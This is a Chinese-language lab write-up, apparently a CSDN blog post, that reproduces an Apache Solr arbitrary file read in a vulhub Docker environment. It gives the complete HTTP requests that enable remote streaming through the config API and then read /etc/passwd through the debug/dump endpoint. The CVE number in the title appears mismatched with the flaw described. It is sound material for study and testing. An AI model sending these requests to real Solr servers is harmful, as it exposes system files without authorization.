Apache Solr <= 8.8.1任意文件读取漏洞复现CVE-2019-17558

一、环境准备

搭建环境vulhub,需要提前安装docker环境

docker安装:docker--安装docker-ce-CSDN博客

vulhub地址:https://github.com/vulhub/vulhub

复制代码
#创建靶场环境
mkdir /opt/vulhub
cd /opt/vulhub
git https://github.com/vulhub/vulhub.git #git拉取失败请用主机下砸zip上传虚拟机或云服务器
cd /opt/vulhub/vulhub-master/solr/CVE-2019-17558
docker-compose up -d

windows安装jdk环境

下载bp抓包工具

二、抓包测试

获取name信息,如果使用的是

复制代码
http://*.*.*.*:8983/solr/admin/cores?indexInfo=false&wt=json

name属性为demo

复制代码
{
  "responseHeader":{
    "status":0,
    "QTime":0},
  "initFailures":{},
  "status":{
    "demo":{
      "name":"demo",
      "instanceDir":"/var/solr/data/demo",
      "dataDir":"/var/solr/data/demo/data/",
      "config":"solrconfig.xml",
      "schema":"managed-schema",
      "startTime":"2024-01-16T07:46:24.405Z",
      "uptime":165859}}}

打开bp,设置代理,浏览器也要设置,虚拟机设置127.0.0.1,云服务器设置公网IP,端口自定义(默认是8080),bp与浏览器一致即可,另外与本机服务不冲突

判断漏洞是否存在,返回正确说明存在

复制代码
POST /solr/demo/config HTTP/1.1
Host: *.*.*.*:8983
Content-Length: 92
Connection: close

{
	"set-property":{
		"requestDispatcher.requestParsers.enableRemoteStreaming":true
	}
}

三、构造特殊请求包获取敏感数据

构造读取/etc/passwd

复制代码
POST /solr/demo/./debug/dump?param=ContentStreams HTTP/1.1
Host: *.*.*.*:8983
Content-Length: 29
Content-Type: application/x-www-form-urlencoded
Connection: close

stream.url=file:///etc/passwd

获取成功

相关推荐
代码的余温4 天前
ElasticSearch对比Solr
大数据·elasticsearch·solr
playStudy7 天前
从0到1玩转 Google SEO
python·搜索引擎·github·全文检索·中文分词·solr·lucene
健康平安的活着17 天前
es7.x es的高亮与solr高亮查询的对比&对比说明
大数据·elasticsearch·solr
运维行者_21 天前
使用Applications Manager进行 Apache Solr 监控
运维·网络·数据库·网络安全·云计算·apache·solr
chenglin0161 个月前
ClickHouse、Doris、OpenSearch、Splunk、Solr系统化分析
clickhouse·solr·lucene
鼠鼠我捏,要死了捏1 个月前
Elasticsearch、Solr 与 OpenSearch 搜索引擎方案对比分析及选型建议
elasticsearch·solr·opensearch
TinpeaV2 个月前
Elasticsearch 和 solr 的区别
大数据·elasticsearch·solr
阿蒙Amon2 个月前
C# Linq to Objects 详解:集合处理的终极方案
c#·solr·linq
代码的余温3 个月前
Solr搜索:比传统数据库强在哪?
数据库·全文检索·solr
GLAB-Mary3 个月前
如何在 Ubuntu 24.04 服务器上安装 Apache Solr
ubuntu·apache·solr